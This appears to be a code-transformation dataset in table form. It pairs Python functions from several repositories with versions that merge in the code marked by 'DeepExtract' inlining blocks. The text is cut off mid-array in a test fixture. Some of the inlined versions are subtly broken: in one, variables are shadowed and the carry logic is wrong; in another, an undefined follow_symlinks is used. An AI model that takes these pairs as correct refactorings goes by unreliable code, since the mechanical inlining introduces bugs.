before
stringlengths 0
955k
| after
stringlengths 0
877k
| repo
stringlengths 1
74
| type
stringclasses 1
value |
|---|---|---|---|
def convert(self, img, morph_factor=0.75):
"""
img np.ndarray HW,HWC,NHWC uint8,float32
returns
img NHW3 same dtype as img
celeb_mask NHW1 same dtype as img
face_mask NHW1 same dtype as img
convert the face
if the model is not ready, it will return black images
"""
ip = ImageProcessor(img)
(N, H, W, C) = ip.get_dims()
dtype = ip.get_dtype()
<DeepExtract>
if self._dl_error is not None:
progress = 0.0
elif self._dl is None:
progress = 100.0
else:
err = self._dl_error = self._dl.get_error()
if err is not None:
progress = 0.0
else:
progress = self._dl.get_progress()
if progress == 100.0 and self._sess is None:
self._dl = None
model_path = 'D:\\DevelopPPP\\projects\\DeepFaceLive\\github_project\\xlib\\model_hub\\tf\\TOM_CRUISE.pb'
self._sess = tf.TFInferenceSession(model_path, in_tensor_names=['in_face:0', 'morph_value:0'], out_tensor_names=['out_face_mask:0', 'out_celeb_face:0', 'out_celeb_face_mask:0'], device_info=self._device)
progress = progress
</DeepExtract>
if progress == 100.0:
img = ip.resize((224, 224)).ch(3).to_ufloat32().get_image('NHWC')
(out_face_mask, out_celeb, out_celeb_mask) = self._sess.run([img, [morph_factor]])
out_celeb = ImageProcessor(out_celeb).resize((W, H)).ch(3).to_dtype(dtype).get_image('NHWC')
out_celeb_mask = ImageProcessor(out_celeb_mask).resize((W, H)).ch(1).to_dtype(dtype).get_image('NHWC')
out_face_mask = ImageProcessor(out_face_mask).resize((W, H)).ch(1).to_dtype(dtype).get_image('NHWC')
else:
out_celeb = np.zeros((N, H, W, 3), dtype=dtype)
out_celeb_mask = ImageProcessor(np.full((N, H, W, 1), 255, dtype=np.uint8)).to_dtype(dtype).get_image('NHWC')
out_face_mask = ImageProcessor(np.full((N, H, W, 1), 255, dtype=np.uint8)).to_dtype(dtype).get_image('NHWC')
return (out_celeb, out_celeb_mask, out_face_mask)
|
def convert(self, img, morph_factor=0.75):
"""
img np.ndarray HW,HWC,NHWC uint8,float32
returns
img NHW3 same dtype as img
celeb_mask NHW1 same dtype as img
face_mask NHW1 same dtype as img
convert the face
if the model is not ready, it will return black images
"""
ip = ImageProcessor(img)
(N, H, W, C) = ip.get_dims()
dtype = ip.get_dtype()
if self._dl_error is not None:
progress = 0.0
elif self._dl is None:
progress = 100.0
else:
err = self._dl_error = self._dl.get_error()
if err is not None:
progress = 0.0
else:
progress = self._dl.get_progress()
if progress == 100.0 and self._sess is None:
self._dl = None
model_path = 'D:\\DevelopPPP\\projects\\DeepFaceLive\\github_project\\xlib\\model_hub\\tf\\TOM_CRUISE.pb'
self._sess = tf.TFInferenceSession(model_path, in_tensor_names=['in_face:0', 'morph_value:0'], out_tensor_names=['out_face_mask:0', 'out_celeb_face:0', 'out_celeb_face_mask:0'], device_info=self._device)
progress = progress
if progress == 100.0:
img = ip.resize((224, 224)).ch(3).to_ufloat32().get_image('NHWC')
(out_face_mask, out_celeb, out_celeb_mask) = self._sess.run([img, [morph_factor]])
out_celeb = ImageProcessor(out_celeb).resize((W, H)).ch(3).to_dtype(dtype).get_image('NHWC')
out_celeb_mask = ImageProcessor(out_celeb_mask).resize((W, H)).ch(1).to_dtype(dtype).get_image('NHWC')
out_face_mask = ImageProcessor(out_face_mask).resize((W, H)).ch(1).to_dtype(dtype).get_image('NHWC')
else:
out_celeb = np.zeros((N, H, W, 3), dtype=dtype)
out_celeb_mask = ImageProcessor(np.full((N, H, W, 1), 255, dtype=np.uint8)).to_dtype(dtype).get_image('NHWC')
out_face_mask = ImageProcessor(np.full((N, H, W, 1), 255, dtype=np.uint8)).to_dtype(dtype).get_image('NHWC')
return (out_celeb, out_celeb_mask, out_face_mask)
|
DeepFaceLive
|
positive
|
def addOne(head):
<DeepExtract>
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
</DeepExtract>
carry = 0
temp = head
if temp.data < 9:
temp.data += 1
<DeepExtract>
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
</DeepExtract>
return head
else:
carry = 1
temp.data = 0
temp = temp.next
while temp:
if temp.data < 9:
temp.data += carry
<DeepExtract>
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
</DeepExtract>
return head
else:
carry = 1
temp.data = 0
temp = temp.next
n = Node(1)
temp = head
while temp.next:
temp = temp.next
temp.next = n
<DeepExtract>
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
</DeepExtract>
return head
|
def addOne(head):
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
carry = 0
temp = head
if temp.data < 9:
temp.data += 1
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
return head
else:
carry = 1
temp.data = 0
temp = temp.next
while temp:
if temp.data < 9:
temp.data += carry
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
return head
else:
carry = 1
temp.data = 0
temp = temp.next
n = Node(1)
temp = head
while temp.next:
temp = temp.next
temp.next = n
prev = None
temp = head
while temp:
next = temp.next
temp.next = prev
prev = temp
temp = next
head = prev
return head
|
Competitive-Programming
|
positive
|
def _build_fields_vocab(fields, counters, data_type, share_vocab, vocab_size_multiple, src_vocab_size, src_words_min_frequency, tgt_vocab_size, tgt_words_min_frequency):
build_fv_args = defaultdict(dict)
build_fv_args['src'] = dict(max_size=src_vocab_size, min_freq=src_words_min_frequency)
build_fv_args['tgt'] = dict(max_size=tgt_vocab_size, min_freq=tgt_words_min_frequency)
tgt_multifield = fields['tgt']
<DeepExtract>
for (name, field) in tgt_multifield:
_build_field_vocab(field, counters[name], size_multiple=vocab_size_multiple if not share_vocab else 1, **build_fv_args[name])
logger.info(' * %s vocab size: %d.' % (name, len(field.vocab)))
</DeepExtract>
if data_type == 'text':
src_multifield = fields['src']
<DeepExtract>
for (name, field) in src_multifield:
_build_field_vocab(field, counters[name], size_multiple=vocab_size_multiple if not share_vocab else 1, **build_fv_args[name])
logger.info(' * %s vocab size: %d.' % (name, len(field.vocab)))
</DeepExtract>
if share_vocab:
logger.info(' * merging src and tgt vocab...')
src_field = src_multifield.base_field
tgt_field = tgt_multifield.base_field
<DeepExtract>
specials = [tgt_field.unk_token, tgt_field.pad_token, tgt_field.init_token, tgt_field.eos_token]
merged = sum([src_field.vocab.freqs, tgt_field.vocab.freqs], Counter())
merged_vocab = Vocab(merged, specials=specials, max_size=src_vocab_size, min_freq=src_words_min_frequency)
if vocab_size_multiple > 1:
_pad_vocab_to_multiple(merged_vocab, vocab_size_multiple)
src_field.vocab = merged_vocab
tgt_field.vocab = merged_vocab
assert len(src_field.vocab) == len(tgt_field.vocab)
</DeepExtract>
logger.info(' * merged vocab size: %d.' % len(src_field.vocab))
return fields
|
def _build_fields_vocab(fields, counters, data_type, share_vocab, vocab_size_multiple, src_vocab_size, src_words_min_frequency, tgt_vocab_size, tgt_words_min_frequency):
build_fv_args = defaultdict(dict)
build_fv_args['src'] = dict(max_size=src_vocab_size, min_freq=src_words_min_frequency)
build_fv_args['tgt'] = dict(max_size=tgt_vocab_size, min_freq=tgt_words_min_frequency)
tgt_multifield = fields['tgt']
for (name, field) in tgt_multifield:
_build_field_vocab(field, counters[name], size_multiple=vocab_size_multiple if not share_vocab else 1, **build_fv_args[name])
logger.info(' * %s vocab size: %d.' % (name, len(field.vocab)))
if data_type == 'text':
src_multifield = fields['src']
for (name, field) in src_multifield:
_build_field_vocab(field, counters[name], size_multiple=vocab_size_multiple if not share_vocab else 1, **build_fv_args[name])
logger.info(' * %s vocab size: %d.' % (name, len(field.vocab)))
if share_vocab:
logger.info(' * merging src and tgt vocab...')
src_field = src_multifield.base_field
tgt_field = tgt_multifield.base_field
specials = [tgt_field.unk_token, tgt_field.pad_token, tgt_field.init_token, tgt_field.eos_token]
merged = sum([src_field.vocab.freqs, tgt_field.vocab.freqs], Counter())
merged_vocab = Vocab(merged, specials=specials, max_size=src_vocab_size, min_freq=src_words_min_frequency)
if vocab_size_multiple > 1:
_pad_vocab_to_multiple(merged_vocab, vocab_size_multiple)
src_field.vocab = merged_vocab
tgt_field.vocab = merged_vocab
assert len(src_field.vocab) == len(tgt_field.vocab)
logger.info(' * merged vocab size: %d.' % len(src_field.vocab))
return fields
|
DDAMS
|
positive
|
@unittest.skip("This fails with a 'library not registered' error. Need to figure out how to register TestComServerLib (without admin if possible).")
def test_UDT_ndarray(self):
from comtypes.gen.TestComServerLib import MYCOLOR
t = _midlSAFEARRAY(MYCOLOR)
self.assertTrue(t is _midlSAFEARRAY(MYCOLOR))
sa = t.from_param([MYCOLOR(0, 0, 0), MYCOLOR(1, 2, 3)])
<DeepExtract>
with safearray_as_ndarray:
arr = sa[0]
</DeepExtract>
self.assertTrue(isinstance(arr, numpy.ndarray))
if arr.dtype is numpy.dtype(object):
data = [(x.red, x.green, x.blue) for x in arr]
else:
float_dtype = numpy.dtype('float64')
self.assertIs(arr.dtype[0], float_dtype)
self.assertIs(arr.dtype[1], float_dtype)
self.assertIs(arr.dtype[2], float_dtype)
data = [tuple(x) for x in arr]
self.assertEqual(data, [(0.0, 0.0, 0.0), (1.0, 2.0, 3.0)])
|
@unittest.skip("This fails with a 'library not registered' error. Need to figure out how to register TestComServerLib (without admin if possible).")
def test_UDT_ndarray(self):
from comtypes.gen.TestComServerLib import MYCOLOR
t = _midlSAFEARRAY(MYCOLOR)
self.assertTrue(t is _midlSAFEARRAY(MYCOLOR))
sa = t.from_param([MYCOLOR(0, 0, 0), MYCOLOR(1, 2, 3)])
with safearray_as_ndarray:
arr = sa[0]
self.assertTrue(isinstance(arr, numpy.ndarray))
if arr.dtype is numpy.dtype(object):
data = [(x.red, x.green, x.blue) for x in arr]
else:
float_dtype = numpy.dtype('float64')
self.assertIs(arr.dtype[0], float_dtype)
self.assertIs(arr.dtype[1], float_dtype)
self.assertIs(arr.dtype[2], float_dtype)
data = [tuple(x) for x in arr]
self.assertEqual(data, [(0.0, 0.0, 0.0), (1.0, 2.0, 3.0)])
|
comtypes
|
positive
|
def _create_lambda_prov_concur_config(self, function_name, meta, concurrency, lambda_def=None):
if not lambda_def:
lambda_def = self.lambda_conn.get_function(lambda_name=function_name)
qualifier = concurrency.get('qualifier')
if not qualifier:
raise AssertionError('Parameter `qualifier` is required for concurrency configuration but it is absent')
if qualifier not in _LAMBDA_PROV_CONCURRENCY_QUALIFIERS:
raise AssertionError(f'Parameter `qualifier` must be one of {_LAMBDA_PROV_CONCURRENCY_QUALIFIERS}, but it is equal to ${qualifier}')
<DeepExtract>
lambda_def['Alias'] = meta.get('alias')
resolve_qualifier_req = lambda_def
resolved_qualified = self._LAMBDA_QUALIFIER_RESOLVER[qualifier](self, resolve_qualifier_req)
resolved_qualified = resolved_qualified
</DeepExtract>
requested_provisioned_level = concurrency.get('value')
if not requested_provisioned_level:
raise AssertionError('Parameter `provisioned_level` is required for concurrency configuration but it is absent')
max_prov_limit = self.lambda_conn.describe_function_concurrency(name=function_name)
if not max_prov_limit:
max_prov_limit = self.lambda_conn.get_unresolved_concurrent_executions()
if requested_provisioned_level > max_prov_limit:
raise AssertionError(f'Requested provisioned concurrency for lambda {function_name} must not be greater than function concurrency limit if any or account unreserved concurrency. Max is set to {max_prov_limit}; Requested: {requested_provisioned_level}')
self.lambda_conn.configure_provisioned_concurrency(name=function_name, qualifier=resolved_qualified, concurrent_executions=requested_provisioned_level)
_LOG.info(f'Provisioned concurrency has been configured for lambda {function_name} of type {qualifier}, value {requested_provisioned_level}')
|
def _create_lambda_prov_concur_config(self, function_name, meta, concurrency, lambda_def=None):
if not lambda_def:
lambda_def = self.lambda_conn.get_function(lambda_name=function_name)
qualifier = concurrency.get('qualifier')
if not qualifier:
raise AssertionError('Parameter `qualifier` is required for concurrency configuration but it is absent')
if qualifier not in _LAMBDA_PROV_CONCURRENCY_QUALIFIERS:
raise AssertionError(f'Parameter `qualifier` must be one of {_LAMBDA_PROV_CONCURRENCY_QUALIFIERS}, but it is equal to ${qualifier}')
lambda_def['Alias'] = meta.get('alias')
resolve_qualifier_req = lambda_def
resolved_qualified = self._LAMBDA_QUALIFIER_RESOLVER[qualifier](self, resolve_qualifier_req)
resolved_qualified = resolved_qualified
requested_provisioned_level = concurrency.get('value')
if not requested_provisioned_level:
raise AssertionError('Parameter `provisioned_level` is required for concurrency configuration but it is absent')
max_prov_limit = self.lambda_conn.describe_function_concurrency(name=function_name)
if not max_prov_limit:
max_prov_limit = self.lambda_conn.get_unresolved_concurrent_executions()
if requested_provisioned_level > max_prov_limit:
raise AssertionError(f'Requested provisioned concurrency for lambda {function_name} must not be greater than function concurrency limit if any or account unreserved concurrency. Max is set to {max_prov_limit}; Requested: {requested_provisioned_level}')
self.lambda_conn.configure_provisioned_concurrency(name=function_name, qualifier=resolved_qualified, concurrent_executions=requested_provisioned_level)
_LOG.info(f'Provisioned concurrency has been configured for lambda {function_name} of type {qualifier}, value {requested_provisioned_level}')
|
aws-syndicate
|
positive
|
def rename(self, oldpath: str, newpath: str) -> None:
old: Optional[list[Any]] = self.getfile(oldpath)
if not old:
raise OSError(errno.ENOENT, os.strerror(errno.ENOENT))
<DeepExtract>
if newpath == '/':
new = self.fs
pieces: list[str] = newpath.strip('/').split('/')
cwd: str = ''
p: Optional[list[Any]] = self.fs
for piece in pieces:
if not isinstance(p, list):
new = None
if piece not in [x[A_NAME] for x in p[A_CONTENTS]]:
new = None
for x in p[A_CONTENTS]:
if x[A_NAME] == piece:
if piece == pieces[-1] and (not follow_symlinks):
p = x
elif x[A_TYPE] == T_LINK:
if x[A_TARGET][0] == '/':
fileobj = self.getfile(x[A_TARGET], follow_symlinks=follow_symlinks)
else:
fileobj = self.getfile('/'.join((cwd, x[A_TARGET])), follow_symlinks=follow_symlinks)
if not fileobj:
new = None
p = fileobj
else:
p = x
new = p
</DeepExtract>
if new:
raise OSError(errno.EEXIST, os.strerror(errno.EEXIST))
self.get_path(os.path.dirname(oldpath)).remove(old)
old[A_NAME] = os.path.basename(newpath)
self.get_path(os.path.dirname(newpath)).append(old)
|
def rename(self, oldpath: str, newpath: str) -> None:
old: Optional[list[Any]] = self.getfile(oldpath)
if not old:
raise OSError(errno.ENOENT, os.strerror(errno.ENOENT))
if newpath == '/':
new = self.fs
pieces: list[str] = newpath.strip('/').split('/')
cwd: str = ''
p: Optional[list[Any]] = self.fs
for piece in pieces:
if not isinstance(p, list):
new = None
if piece not in [x[A_NAME] for x in p[A_CONTENTS]]:
new = None
for x in p[A_CONTENTS]:
if x[A_NAME] == piece:
if piece == pieces[-1] and (not follow_symlinks):
p = x
elif x[A_TYPE] == T_LINK:
if x[A_TARGET][0] == '/':
fileobj = self.getfile(x[A_TARGET], follow_symlinks=follow_symlinks)
else:
fileobj = self.getfile('/'.join((cwd, x[A_TARGET])), follow_symlinks=follow_symlinks)
if not fileobj:
new = None
p = fileobj
else:
p = x
new = p
if new:
raise OSError(errno.EEXIST, os.strerror(errno.EEXIST))
self.get_path(os.path.dirname(oldpath)).remove(old)
old[A_NAME] = os.path.basename(newpath)
self.get_path(os.path.dirname(newpath)).append(old)
|
cowrie
|
positive
|
def test_append_list_mongo_key(self):
<DeepExtract>
raise NotImplementedError
</DeepExtract>
key = MongoKey({'experiment_id': 'test_append_list_mongo_key', 'trial_id': 1})
backend.append_list(key, 10)
assert backend.get_list(key) == [10]
backend.append_list(key, 20)
assert backend.get_list(key) == [10, 20]
|
def test_append_list_mongo_key(self):
raise NotImplementedError
key = MongoKey({'experiment_id': 'test_append_list_mongo_key', 'trial_id': 1})
backend.append_list(key, 10)
assert backend.get_list(key) == [10]
backend.append_list(key, 20)
assert backend.get_list(key) == [10, 20]
|
daskperiment
|
positive
|
def test_rvm(self):
np.random.seed(0)
<DeepExtract>
Y = np.asarray([[0.214794386299531], [0.0304864358995189], [0.18110882619952], [0.0364174877995254], [-0.388114785300473], [0.0438257486995184], [0.14854421509952], [-0.135653950600471], [-0.0672785594004779], [0.151946461699524], [-0.341502000900476], [0.141843179199526], [0.0806830478995266], [-0.197027939800478], [-0.000576330000470193], [0.0840840311995237], [0.12576428479953], [-0.237702105900482], [0.0781943433995309], [0.131515575999529], [0.0177330054995224], [0.109803669599529], [-0.208028892900472], [0.141115927999522], [-0.00914745520047688], [-0.0461956932004739], [-0.21094903330048], [-0.257511610600474], [0.18319302949952], [0.0545309729995296], [-0.120057568400469], [0.227336520799526], [0.204247055499522], [-0.0616932087004756], [0.16142064799952], [-0.0180615302004696], [-0.0118099877004738], [0.0748339604995323], [0.0745070069995251], [-0.185076108700471], [0.0849124082995303], [-0.0199544130004767], [0.153037546299529], [0.036709892199525], [-0.24222365460048], [0.0274205508995209], [0.134563126199524], [-0.195156222900479], [0.0638141560995251], [-0.128088542300475], [0.10949963219953], [0.0782561047995216], [0.110476785699532], [0.0241224618995233], [-0.449582174200472], [-0.0157697312004785], [-0.0209440301004804], [0.168155087199523], [-0.168625143900471], [-0.0414124356004777], [0.233078659799531], [-0.000759223900473671], [-0.0701863196004808], [0.15246379899952], [0.0726099892995222], [0.0411974184995216], [-0.222654263500473], [0.204070374999532], [-0.274498326100471], [0.0708688562995263], [0.138623533999521], [-0.189396612900481], [0.0540059301995228], [0.0991160263995283], [-0.135643495900482], [0.233049322699529], [-0.154967996400472], [-0.631046417900478], [-0.0779334462004755], [0.153380938199518], [-0.155231895300474], [0.0736116841995198], [-0.00645852450047357], [0.141611343699523], [0.0295416722995299], [-0.321736905300469], [-0.217625299100476], [-0.0189160950004776], [0.0194677688995313], [-0.313642062700481], [0.134496847299531], [0.0573074155995244], [-0.20907258740047], [0.169205586999524], [0.119481082599521], [0.194061367399527], [0.0626582642995288], [-0.458475699300479], [-0.472494397800475], [0.171130899099524], [0.160384905899519], [-0.0143868728004719], [-0.324650780400475], [0.077263157599532], [-0.55022685930048], [-0.0626761048004738], [0.108108206499523], [0.140159608099523], [0.108501425699529], [0.0999191759995313], [0.103752496899531], [0.103608776599529], [0.168472986599525], [-0.00998671270048135], [-0.125462812600475], [-0.00117008070047575], [-0.0812177097004678], [-0.0986191162004815], [0.0213149108995196], [0.0631004149995249], [-0.58300676440048], [0.0945855181995228], [-0.0879035083004709], [-0.793577578100468], [-0.542894171900471], [0.189553869999529], [0.180521780899525], [-0.0042466582004721], [-0.125371998100476], [0.0200500877995182], [-0.228110993700469], [0.0737166533995293], [0.0158440191995197], [0.156549758699526], [0.0696423894995206], [0.132558027199522], [0.0775897087995219], [-0.12414099240047], [0.220779741199522], [0.135866635099532], [-0.174960463000474], [-0.529304618300472], [0.0656745672995243], [0.080516613099519], [-0.00443530900047051], [0.17667718319953], [0.104310766599525], [0.0980333244995251], [0.000191290399527588], [0.107555870499525], [-0.196662744600474], [-0.162197365900468], [0.0834747983995214], [0.0851487841995322], [0.111727981799518], [0.174598671999519], [0.117171712499527], [0.0731327892995211], [0.0696163890995223], [0.179499686299522], [-0.243074504400468], [0.0839834533995258], [0.0157608777995222], [0.0108822281995202], [0.114337857299532], [0.123824851599522], [-0.159377405900472], [0.0776320028995201], [0.065374201999532], [-0.00210355500047399], [0.091258867199528], [0.18084886829952], [0.150250253099529], [0.17584349999953], [-0.320397018500472], [0.0822831741995316], [0.147099239499525], [0.0612997872995322], [-0.359024781000471], [0.0542501979995222], [0.11669157969952], [0.164019259799531], [0.0297407982995281], [0.0192861675995317], [0.139297769699525], [0.088270599699527], [0.0950385867995323], [-0.107752629300478], [0.0473162408995194], [-0.230748620800469], [0.19655249959952], [-0.119922477800472], [0.0212145083995239], [-0.236157846000481], [0.0848690502995311], [0.090405678499522], [0.0603606912995218], [0.0119565401995203], [-0.0113516351004677], [0.0328624994995295], [-0.00430806700047981], [0.163563947999521], [0.139620018499528], [0.113107005399527], [0.120860772199521], [0.0808816400995198], [0.0604271935995229], [0.205514615299521], [0.047969040899531], [-0.321254294600479], [0.063204295999526], [0.120114433099531], [0.0748610498995248], [0.109594417499522], [0.160020060899527], [0.0245053195995268], [0.0127019119995282], [-0.277159179600474], [-0.0118930425004748], [0.0905430362995219], [0.112444446399522], [0.17657302459952], [-0.293329093400473], [-0.0594143153004723], [-0.120330663800473], [0.0153887310995202], [-0.25982189180047], [-0.100099102600481], [0.123078455599526], [0.0875035776995219], [-0.0161959447004705], [0.181561658799524], [0.0683309792995317], [-0.175586930500472], [0.0293433842995228], [0.0818931746995304], [0.258866349699531], [0.0324536610995239], [0.0792430783995286], [-0.0299509270004705], [0.064785072999527], [-0.0914756371004728], [-0.220374963100468], [-0.351253467000475], [0.133310589399528], [0.0945419518995294], [0.162259478499522], [-0.0485002696004813], [0.0202396279995298], [0.151078609299532], [-0.0650836562004713], [0.0975682618995251], [0.184756516799524], [0.0955608516995312], [-0.345798543900472], [0.130781813299521], [0.0711370970995233], [0.0286061356995191], [-0.134320615900478], [0.0666438685995274], [-0.148287702200477], [0.0623764749995246], [0.00917974739952854], [0.153732945399526], [-0.07677843060047], [0.156712380699531], [0.0842286593995283], [0.0801534656995244], [-0.175097697100469], [0.030096361099524], [0.0667589602995236], [0.063893794799526], [0.128762529599527], [0.122514236899519], [-0.45980150260047], [-0.0848779269004751], [0.132455226399529], [-0.115939519200481], [0.0292607909995297], [0.0382036034995252], [0.0921355731995277], [0.157910732199525], [0.0961198541995287], [-0.407369653000472], [-0.0103334867004747], [0.12743881329952], [0.00818742489953195], [-0.187620622700479], [-0.343500936000481], [-0.319586542700478], [-0.0480417755004794], [0.171385428799525], [-0.0228790512004764], [0.146299715599525], [0.000214571699530097], [-0.16973889910048], [0.0906952828995316], [-0.314823059400482], [0.0690663116995296], [0.138684729099523], [0.0289694859995251], [0.0985871361995265], [-0.0144951174004717], [0.0840272010995307], [0.0608369824995236], [-0.238280947000476], [0.13313307179952], [0.0257260253995213], [0.0471222716995214], [0.0483109278995215], [-0.0478133367004716], [0.105381771699527], [0.00838750639952934], [0.0177622516995228], [-0.00616568070047663], [0.055743087499522], [0.0898689151995313], [0.0898277670995213], [0.00456935089952992], [-0.187953259700478], [-0.0780650933004807], [0.0710368142995321], [-0.326853319500472], [-0.0650983021004805], [0.161513439599531], [-0.460204786500469], [0.233121549199524], [0.070889159199524], [0.0491630639995293], [0.14108520359953], [0.0507988267995216], [-0.257742885300473], [-0.159807573400471], [0.162493103899521], [-0.0599515949004683], [0.140789858899524], [0.0818634856995288], [0.178364036099524], [0.18079608429953], [0.109725847399531], [0.129581550999532], [0.127677284399525], [-0.349510104900475], [-0.122046208700468], [-0.0358421192004812], [0.0345309835995238], [0.142012091899531], [0.120857408899525], [-0.167817914200469], [0.0133321852995323], [0.0176090675995226], [-0.129430604100477], [0.029277308199525], [0.169368050399527], [0.0305181414995275], [-0.0638441750004688], [-0.113179601500477], [0.166798293899532], [0.0162736180995182], [0.0527946769995253], [0.0947584716995209], [0.0311304306995197], [0.0839449812995241], [-0.128216936200474], [0.0318150658995222], [0.0139013393995242], [-0.0126105156004712], [0.154178962999524], [0.0549426464995264], [0.157239916299531], [0.114192288399522], [-0.0797570352004726], [0.0192872869995284], [-0.00926635240047347], [0.123313871699523], [0.199464715799522], [0.109633813999523], [0.0798440121995299], [0.163664476699523], [-0.0323856638004685], [0.228455003899526], [0.201880290699521], [0.0487547710995244], [-0.360505695900471], [-0.0698146163004765], [0.117355223999525], [-0.111042011800478], [0.0682092957995195], [0.0150243247995263], [0.208994546099532], [0.113677161499524], [0.196637127499528], [0.158814903099525], [-0.661821914900472], [0.150469333399528], [0.138941686699525], [0.0665537991995251], [0.0893819390995247], [0.0884417451995319], [0.0137149108995231], [0.213352602999521], [-0.101525370400481], [0.0530821395995247], [-0.176521198600469], [-0.277691602300479], [0.19239834249953], [-0.0440776337004678], [0.18013411429952], [0.127150805699529], [-0.408117371100474], [0.163452714599529], [0.129875337399525], [-0.154658492700477], [0.137662739999527], [0.0801360601995214], [-0.0405032024004726], [-0.641784071900474], [-0.0619887244004786], [-0.42936646340047], [0.0321311068995271], [0.0350706434995232], [0.0145265152995222], [0.0197122699995305], [-0.168454993700479], [0.138859359399518], [-0.475443459300479], [0.110587096099522], [-0.344534334300477], [0.165150308599522], [0.0329606993995242], [-0.469759912200473], [0.114620658399531], [0.0290598181995279], [-0.171348968100475], [0.188396895999531], [-0.0896583549004788], [0.000743012399524901], [-0.00328755900046929], [0.108288636399521], [0.20956175599953], [0.0301214671995211], [-0.45099375350047], [-0.0258869862004758], [-0.0199979226004814], [0.119549109799522], [0.0247774857995182], [-0.0905169224004681], [0.0460369061995323], [0.212384665199522], [-0.328844503800468], [0.0898977736995192], [0.0271398930995304], [0.229546684299521], [-0.11968187520047], [0.0588759322995287], [-0.226316561100475], [-0.0777017435004694], [-0.016395701600473], [0.112230149099531], [0.0484490733995244], [-0.278726787400473], [0.0570800295995184], [0.0319428944995224], [0.0647721007995301], [-0.019691193400476], [0.0860737926995228], [0.0250292890995212], [-0.0398410190004768], [0.000616646799528553], [0.190895887699526], [0.141418897999529], [0.141689574599525], [-0.163957612200477], [0.218269934199526], [0.0779105449995257], [0.112958750299526], [-0.217436090200479], [-0.0221392657004742], [-0.11940576370047], [-0.07509151420048], [-0.268576392400476], [0.177774447099523], [0.148076016999525], [0.173641486699523], [-0.245689732200475], [-0.347956204000468], [0.0891225799995254], [0.0527641896995306], [0.155183887999527], [-0.335188775600471], [0.0506065342995186], [0.21442551559953], [0.0480266013995276], [0.198452532999525], [-0.101006102500477], [-0.00527502340047192], [0.0126590006995286], [-0.136667151000481], [0.0251241673995253], [0.168276310599524], [-0.469844888900468], [-0.062116831600477], [0.0821124914995295], [0.143613941499524], [0.0328147569995281], [0.0211372392995202], [-0.0479252427004724], [-0.243150005300478], [0.152589977999526], [0.0100695815995238], [0.145968968199526], [-0.0293733570004804], [0.180251259399526], [0.123284955899521], [0.0748001880995304], [0.25831755409952], [-0.277403643500477], [0.0503778183995252], [0.163231288699521], [-0.10668002090047], [0.116783201399528], [0.0778877776995302], [-0.463969193700478], [-0.376284701600468], [0.0809322244995201], [-0.404836217200469], [0.15020625489953], [0.182002918699524], [0.107993837699524], [-0.108125807000476], [0.148171155599528], [-0.0332993399004806], [0.190952886499531], [0.0258692020995284], [0.103455538899524], [0.0357476143995257], [0.0103473016995252], [0.00511007619952864], [0.157947827599529], [0.0430639671995294], [-0.170492062200481], [0.114268020399521], [0.113847543899524], [0.0775385946995186], [-0.492880865700471], [0.123420013299523], [-0.358916839900473], [0.173556227899525]])
X = np.asarray([[-0.996512, 0.23415088, -0.14674416, -0.895788, -0.09476392, -0.28386376, 0.25137264, -0.9609556, -0.4560592, -0.1981624, -0.07014196, -0.07142384, 0.8078256, -0.8507328, 0.7462676, -0.13834682, -0.289386, 0.0671634, 0.02889124, 0.4424618, 0.37987332, -0.35240744, -0.9130328, 0.8085, -0.2665888], [-0.9856896, -0.21795832, 0.20988064, 0.73222936, -0.8060976, 0.4400208, 0.34943584, -0.8513628, -0.001159749, 0.5693064, 0.7103376, 0.4054248, -0.8526212, 0.12977268, 0.30150504, -0.223785, -0.7864298, 0.917624, 0.948186, 0.390635, -0.6093724, 0.8588504, -0.90812, -0.5793908, 0.70259168], [-0.9855984, 0.62600336, -0.54664944, 0.6003696, 0.990116, 0.6344212, -0.4753192, -0.5356344, 0.09399352, -0.684366, -0.6098016, -0.7199676, 0.404286, -0.4775376, 0.19799236, -0.7488376, -0.8013194, -0.2450134, 0.6726062, -0.5649798, -0.35617172, -0.7538856, 0.37695744, 0.36690616, 0.53696208], [-0.9814072, 0.14507952, 0.28050552, -0.029315704, -0.65606984, 0.8590864, -0.813006, -0.607958, -0.5501308, -0.1782532, -0.30588856, -0.8998244, 0.33920588, -0.9313064, -0.6357976, -0.528679, -0.402181, 0.9692762, -0.2242034, 0.8688206, 0.6652152, -0.8151256, -0.53410408, 0.19213904, 0.14906304], [-0.9724324, 0.70213456, 0.56241488, -0.56090712, -0.893496, 0.9056932, -0.13313976, 0.9194272, 0.7803088, 0.38787932, -0.04775252, 0.5737292, 0.798088, 0.877684, -0.6682644, 0.6502342, -0.08462352, -0.2454344, 0.03860824, 0.6449504, 0.17894384, -0.35194864, 0.54221384, 0.77178008, -0.6609508], [-0.9693876, 0.010329848, 0.4125092, -0.57442824, -0.8435008, -0.31974932, -0.9238444, 0.466746, 0.7964096, -0.5864708, 0.7883776, -0.9082008, 0.4273996, -0.9362596, 0.490654, 0.9744292, 0.981304, 0.6935004, -0.03956012, 0.992213, 0.780768, -0.22275976, 0.18815192, 0.54665648, -0.49263056], [-0.9693004, -0.32126864, 0.24864104, -0.6012936, -0.22005136, 0.4383412, 0.500204, -0.5947536, 0.21823688, -0.9912284, 0.4282628, -0.7755148, -0.08233884, 0.03339988, -0.012785244, -0.13142306, -0.6054472, -0.5450824, -0.6056678, 0.22568, -0.601578, 0.24832864, -0.73634416, -0.8934992, 0.17701456], [-0.9662968, -0.7841776, 0.875692, -0.78609488, -0.47889312, 0.5048696, -0.04752156, -0.33773364, 0.8545948, 0.37397896, -0.3518806, -0.4683452, 0.5304932, -0.08187024, 0.1451292, -0.16019302, -0.0465887, -0.851419, -0.573074, 0.6770834, -0.416418, 0.4297292, 0.45807464, 0.71752408, 0.8346112], [-0.9627072, 0.37914112, -0.32500656, 0.31868504, 0.35824336, -0.5027592, -0.9684952, 0.5993732, 0.33926984, -0.1984186, 0.24320112, -0.7385096, 0.8844964, -0.38992004, 0.7657308, 0.3085076, -0.807951, 0.3364566, -0.16524062, -0.7284952, 0.689264, -0.64990856, 0.31770144, 0.8821128, -0.69237176], [-0.959288, 0.9805368, 0.8938064, -0.50103112, 0.5545408, 0.7436556, 